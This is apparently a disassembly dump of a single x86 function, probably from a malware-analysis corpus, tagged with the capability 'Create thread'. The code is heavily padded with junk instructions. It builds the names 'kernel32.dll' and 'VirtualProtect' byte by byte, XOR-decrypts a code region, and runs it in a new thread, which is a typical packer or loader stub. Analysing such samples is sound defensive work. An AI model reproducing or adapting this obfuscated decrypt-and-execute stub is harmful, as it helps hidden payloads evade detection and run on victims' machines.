Function at 0xaac2fe
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov ecx, ecx
call fcn.00aac6d9
xchg esi, esi
lea eax, [ebp - 0xd8]
pushfd
xor ebx, 0x97415d94
xor ebx, 0x97415d94
popfd
mov esi, esi
mov ebx, 0x61
pushfd
push edx
add esp, 4
popfd
add bx, 0xa
pushfd
push 0x9de76c10
add esp, 4
popfd
mov word [eax], bx
pushfd
push 0xebf69f4a
add esp, 4
popfd
xchg edx, eax
xchg edx, eax
sub bx, 6
pushfd
inc edi
dec edi
popfd
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 2], bx
xchg edi, ecx
xchg ecx, edi
add bx, 0xd
push esi
pop esi
mov word [eax + 4], bx
xchg ebx, ebx
sub bx, 4
pushfd
inc esi
dec esi
popfd
mov word [eax + 6], bx
push ebx
push edi
pop edi
pop ebx
sub bx, 9
pushfd
xor eax, 0x3ed9c0b4
xor eax, 0x3ed9c0b4
popfd
mov word [eax + 8], bx
push edi
pop edi
add bx, 7
pushfd
push 0x2e7b9b49
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 0xa], bx
push ecx
pop ecx
mov edi, edi
sub bx, 0x39
xchg ebx, ebx
mov word [eax + 0xc], bx
mov eax, eax
pushfd
push 0x33f4897a
add esp, 4
popfd
dec bx
mov edx, edx
mov word [eax + 0xe], bx
pushfd
push esi
add esp, 4
popfd
push ecx
pop ecx
sub bx, 4
xchg edi, eax
xchg edi, eax
mov word [eax + 0x10], bx
pushfd
push ebx
add esp, 4
popfd
add bx, 0x36
pushfd
inc edx
dec edx
popfd
pushfd
inc eax
dec eax
popfd
mov word [eax + 0x12], bx
pushfd
xor ebx, 0x97618d27
xor ebx, 0x97618d27
popfd
mov edi, edi
add bx, 8
xchg esi, ecx
xchg ecx, esi
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0x14], bx
pushfd
inc ecx
dec ecx
popfd
push esi
push edx
pop edx
pop esi
mov word [eax + 0x16], bx
pushfd
xor edx, 0x251495e4
xor edx, 0x251495e4
popfd
mov word [eax + 0x18], 0
push ebx
push edi
pop edi
pop ebx
xchg ecx, edi
xchg edi, ecx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov esi, esi
pushfd
push edx
add esp, 4
popfd
mov dword [ebp - 0x10], eax
xchg edi, edi
lea eax, [ebp - 0xd8]
xchg ecx, ecx
pushfd
push edi
add esp, 4
popfd
mov ebx, 0x61
pushfd
xor esi, 0xad935c62
xor esi, 0xad935c62
popfd
sub bl, 0xb
push ecx
pop ecx
push ecx
push eax
pop eax
pop ecx
mov byte [eax], bl
xchg edx, edx
pushfd
push 0xc71861b6
add esp, 4
popfd
add bl, 0x13
push ecx
push eax
pop eax
pop ecx
mov byte [eax + 1], bl
pushfd
xor ebx, 0x23c4375a
xor ebx, 0x23c4375a
popfd
add bl, 9
pushfd
xor edi, 0x32f2446
xor edi, 0x32f2446
popfd
pushfd
push 0x6e7900f6
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
xor edx, 0x6a50f419
xor edx, 0x6a50f419
popfd
xchg esi, esi
add bl, 2
pushfd
push eax
add esp, 4
popfd
pushfd
push 0xbc47cb9
add esp, 4
popfd
mov byte [eax + 3], bl
push edi
push ecx
pop ecx
pop edi
pushfd
inc ebx
dec ebx
popfd
inc bl
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
xor eax, 0x79f4dbe4
xor eax, 0x79f4dbe4
popfd
mov eax, eax
sub bl, 0x14
pushfd
push 0x55bb06d1
add esp, 4
popfd
pushfd
xor edi, 0x8e5b3e20
xor edi, 0x8e5b3e20
popfd
mov byte [eax + 5], bl
push eax
pop eax
add bl, 0xb
mov edx, edx
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 6], bl
nop
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x1c
nop
mov byte [eax + 7], bl
mov ebx, ebx
add bl, 0x22
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 8], bl
push eax
push esi
pop esi
pop eax
sub bl, 3
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 9], bl
mov esi, esi
add bl, 5
xchg edi, edi
xchg esi, esi
mov byte [eax + 0xa], bl
mov edx, edx
sub bl, 0xf
xchg ebx, edi
xchg edi, ebx
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0xb], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 2
mov ebx, ebx
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0xc], bl
xchg ecx, ecx
add bl, 0x11
pushfd
xor edx, 0x62db1e37
xor edx, 0x62db1e37
popfd
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 0xd], bl
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0xe], 0
mov edx, edx
push edi
push ebx
pop ebx
pop edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
inc edx
dec edx
popfd
mov dword [ebp - 0xc], eax
pushfd
xor esi, 0xd31b4c86
xor esi, 0xd31b4c86
popfd
lea eax, [ebp - 8]
pushfd
push 0x2ea000fd
add esp, 4
popfd
nop
push eax
push 4
push 0x4721f5
push entry0
call dword [ebp - 0xc]
push eax
pop eax
mov edi, entry0
push edi
push ecx
pop ecx
pop edi
pushfd
xor esi, 0x78e58d66
xor esi, 0x78e58d66
popfd
mov esi, 0x40100e
pushfd
push ecx
add esp, 4
popfd
mov ecx, 0x4721f5
mov eax, eax
mov edx, 0x7ddd656c
mov ecx, ecx
pushfd
push ecx
add esp, 4
popfd
mov ebx, 0x45d4e743
mov ebx, ebx
mov ebx, ebx
cld
mov esi, esi
lodsb al, byte [esi]
mov ecx, ecx
xor al, dl
mov eax, eax
stosb byte es:[edi], al
xchg ecx, ecx
ror edx, 5
mov edx, edx
imul edx, edx, 7
mov edx, edx
test ebx, 1
xchg esi, esi
je 0xaac65b
mov edx, edx
add esi, 1
mov esi, esi
ror ebx, 1
xchg edx, edx
dec ecx
xchg esi, esi
test ecx, ecx
mov edx, edx
jne 0xaac634
mov eax, eax
pushfd
push 0x955efc02
add esp, 4
popfd
lea eax, [ebp - 8]
push ecx
push edx
pop edx
pop ecx
push eax
push 0x20
push 0x4721f5
push entry0
call dword [ebp - 0xc]
pushfd
push ecx
add esp, 4
popfd
push ecx
push edx
pop edx
pop ecx
lea eax, [ebp - 4]
push ebx
pop ebx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg ecx, edi
xchg edi, ecx
xchg ebx, ebx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
inc edi
dec edi
popfd
jmp 0xaac6b2